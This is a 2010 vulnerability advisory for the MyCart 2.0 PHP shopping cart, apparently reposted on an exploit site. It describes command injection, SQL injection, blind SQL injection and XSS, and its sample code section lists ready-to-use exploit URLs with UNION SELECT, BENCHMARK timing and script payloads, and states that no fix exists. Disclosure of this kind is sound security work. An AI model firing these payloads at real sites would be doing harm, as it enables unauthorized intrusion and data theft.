MyCart 2.0 Multiple Remote Vulnerabilities

==========================================
MyCart 2.0 Multiple Remote Vulnerabilities
==========================================

 Name              MyCart
 Vendor            http://open.appideas.com
 Versions Affected 2.0
 
 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-10-27
 
X. INDEX
 
 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
  
 
I. ABOUT THE APPLICATION
________________________
 
MyCart  is  a  collection  of  PHP scripts that setup the
backbone of a shopping cart or on-line ordering system.
 
 
II. DESCRIPTION
_______________
 
Many parameters are not properly sanitised  before  being
used in SQL queries and from some PHP's functions.
 
 
III. ANALYSIS
_____________
 
Summary:
 
 A) Multiple Remote Command Execution
 B) Multiple SQL Injection
 C) Multiple Blind SQL Injection
 D) XSS
  
 
A) Multiple Remote Command Execution
____________________________________
 
Reading  the  README  file you  may  notice the following
lines:
 
If you can't make anything work, change the require(...)
statement in the files of the admin directory to read:
require("../Cart.php");
 
In   the   "admin"   directory  there  is  a  file  named
uploadItem.php with the following content:
 
<?
require("Cart.php");
Root();
exec("mv $image '$WebRoot/images/".$ItemID.".jpg'");
Header("Location: $Relative/admin/index.php");
?>
 
Changing  require("Cart.php")  in  require("../Cart.php")
is possibile to execute remote commands by injecting them
using the $image variable.
 
The   same   security    flaw   is   present    also   in
removeItemResponse.php and  in removeCategoryResponse.php
via SQL Injection.
 
Successful exploitation requires that register_globlas is
set to Off.
 
For removeCategoryResponse.php,  successful  exploitation
requires that magic_quotes_gpc is set to Off.
 
 
B) Multiple SQL Injection
_________________________
 
Many  parameters  are not properly sanitised before being
used in SQL queries.  This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.
 
Successful exploitation requires that magic_quotes_gpc is
set to Off.
 
 
C) Multiple Blind SQL Injection
_______________________________
 
Many  parameters  are not properly sanitised before being
used in SQL queries.  This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.
 
Successful exploitation requires that magic_quotes_gpc is
set to Off.
 
 
D) XSS
______
 
Input passed to the "ON" parameter in receipt.php is  not
properly sanitised before being returned to the user.This
can be exploited  to  execute arbitrary  HTML  and script
code in a users browser session in context of an affected
site.
 
 
IV. SAMPLE CODE
_______________
 
A) Multiple Remote Command Execution
 
http://site/path/admin/uploadItem.php?image=.;  ;
http://site/path/admin/removeItemResponse.php?ItemID=.; ping localhost ;
http://site/path/admin/removeCategoryResponse.php?CategoryID=-1' UNION SELECT '; ping localhost ;'%23
 
 
B) Multiple SQL Injection
 
http://site/path/description.php?II=-1' UNION SELECT 1,2,3,4,5,6,7%23&UID=VALID UID HERE
http://site/path/receipt.php?BI=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23
http://site/path/admin/searchReceiptsResponse?criteria=order&OrderNumber=-1' UNION SELECT 1,2,3,4,5,6%23
http://site/path/admin/searchReceiptsResponse?criteria=name&User=%25' UNION SELECT 1,2,3,4,5,6%23
http://site/path/admin/searchReceiptsResponse?Year=%25' UNION SELECT 1,2,3,4,5,6%23
http://site/path/admin/searchReceiptsResponse?Month=%25' UNION SELECT 1,2,3,4,5,6%23
http://site/path/admin/searchReceiptsResponse?Day=%25' UNION SELECT 1,2,3,4,5,6%23
 
 
C) Multiple Blind SQL Injection
 
http://site/path/index.php?UID=' OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999.,NULL),NULL)))%23
http://site/path/removeItem.php?CartItemsID=-1' OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999.,NULL),NULL)))%23
http://site/path/removeItemResponse?ItemID=-1' OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999.,NULL),NULL)))%23
http://site/path/admin/removeCategoryResponse.php?CategoryID=-1' OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999.,NULL),NULL)))%23
 
 
D) XSS
 
http://site/path/receipt.php?ON=<script>alert('xss');</script>
 
 
V. FIX
______
 
No fix.



#  0day.today [2018-04-09]  #